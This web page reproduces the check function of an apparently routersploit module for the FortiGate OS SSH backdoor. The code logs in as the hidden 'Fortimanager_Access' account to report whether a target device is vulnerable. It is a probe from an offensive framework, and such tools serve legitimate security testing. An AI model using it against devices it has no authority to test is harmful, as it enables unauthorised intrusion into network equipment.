fortigate_os_backdoor.py 文件源码

python
阅读 22 收藏 0 点赞 0 评论 0

项目:routersploit 作者: reverse-shell 项目源码 文件源码
def check(self):
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
        except paramiko.ssh_exception.SSHException:
            pass
        except Exception:
            return False  # target is not vulnerable

        trans = client.get_transport()
        try:
            trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
        except paramiko.ssh_exception.AuthenticationException:
            pass
        except Exception:
            return None  # could not verify

        try:
            trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
        except Exception:
            return False  # target is not vulnerable

        return True  # target is vulnerable
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号